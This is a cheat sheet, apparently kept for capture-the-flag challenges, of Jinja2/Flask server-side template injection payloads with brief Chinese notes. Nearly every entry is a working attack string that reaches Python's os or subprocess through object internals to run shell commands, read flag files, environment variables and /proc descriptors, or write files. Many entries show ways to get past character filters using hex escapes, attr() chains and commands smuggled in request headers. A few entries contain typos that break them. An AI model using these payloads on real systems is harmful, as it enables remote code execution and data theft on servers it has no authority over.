1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
| - ().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('1s')
- ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")
- [].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('ls')
- {{ lipsum.__globals__["os"].popen('id').read() }}
- {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("cmd").read()}}{%endif%}{% endfor %}
- *url_for.__globals__.os.__dict__.popen(request.args.file).read()，然后传参file，内容为要执行的命令
-* url_for.__globals__.os.environ, 拿环境变量
- *config.__class__.from_envvar.__globals__.__builtins__.__import__(request.args.a).getenv(request.args.b)，参数a是要导入的模块（os），参数b是环境变量名（把getenv换了就能执行别的了）http://example.com/?a=os&b=HOME从请求参数 a 中指定的模块导入该模块，然后使用 request.args.b 作为参数调用 getenv 函数，获取环境变量的值并将其输出
- ().__class__.__base__.__subclasses__()[148]()._module.__builtins__[request.args.b](request.args.c).environ 148 warnings.catch_warnings ?b=eval&c='__import__("os").system("ls")'
- ().__class__.mro()[1].__subclasses__()[337](get_flashed_messages.__class__.__mro__[1].__subclasses__()[3]((0x65,0x78,0x70,0x72,0x74)).decode(),shell=True,stdout=-1).communicate()[0].strip()
- {{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}}
- *{{ "".__class__.__base__ .__subclasses__()[132].__init__.__globals__['popen'](request.args.get("cmd")).read()}} get?cmd=cat /flag
- 如果你想执行 ls 命令，可以将 (0x65,0x78,0x70,0x72,0x74) 替换为 (0x6c, 0x73)，即：
{{().__class__.mro()[1].__subclasses__()[337](get_flashed_messages.__class__.__mro__[1].__subclasses__()[3]((0x6c, 0x73)).decode(),shell=True,stdout=-1).communicate()[0].strip()}}这段代码将执行 ls 命令，并返回当前目录的内容。
- {{request|attr(%27application%27)|attr(%27\x5f\x5fglobals\x5f\x5f%27)|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27\x5f\x5fbuil%27%27tins\x5f\x5f%27)|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27\x5f\x5fimp%27%27ort\x5f\x5f%27)(%27os%27)|attr(%27po%27%27pen%27)(%27cmd%27)|attr(%27read%27)()}} 使用时把cmd换成命令如ls
- {{%22%22|attr(%27\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f%27)|attr(%27\x5f\x5f\x62\x61\x73\x65\x5f\x5f%27)|attr(%27\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f%27)()|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(411)(%27cmd%27,shell=True,stdout=-1)|attr(%27communicate%27)()}}
- {{self|attr("\x5f\x5fdict\x5f\x5f")}}
- *可以用自定义header传命令：{{joiner.__init__.__globals__.os.popen(request.headers.cmd).read()}},然后header里添加cmd: cat flag.txt
- {{().__class__.__base__.__subclasses__().__getitem__(455)(request.args.shell,shell=True,stdout=(1).__neg__()).communicate()}}: 用getitem绕[]过滤，(1).__neg__()绕负号过滤
- 过滤方括号、下划线及引号。利用lipsum逃逸，|attr()代替方括号，并将带有下划线的项放在请求头，用request.pragma.0访问（有些header里面没法放下划线，Pragma可以，所以用多个Pragma传递带有下划线的项，数字表示第i个Pragma里的内容）
* {{lipsum|attr(request.pragma.0)|attr(request.pragma.1)(request.pragma.2)|attr(request.pragma.3)(request.pragma.4)|attr(request.pragma.5)(request.pragma.6)|attr(request.pragma.7)()}}
headers 可以是：
- Pragma: __globals__
- Pragma: __getitem__
- Pragma: __builtins__
- Pragma: __import__
- Pragma: os
- Pragma: popen
- Pragma: cat flag.txt
- Pragma: read
### 文件写入：
- [].__class__.__base__.__base__.__subclasses__()[40]('/tmp/1','w').write('hello')
动态执行：
例如 ?input=ls
{% for x in().__class__.__base__.__subelasses__() %}{% if "warning" in x.__name__%}{{x().__module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}`
|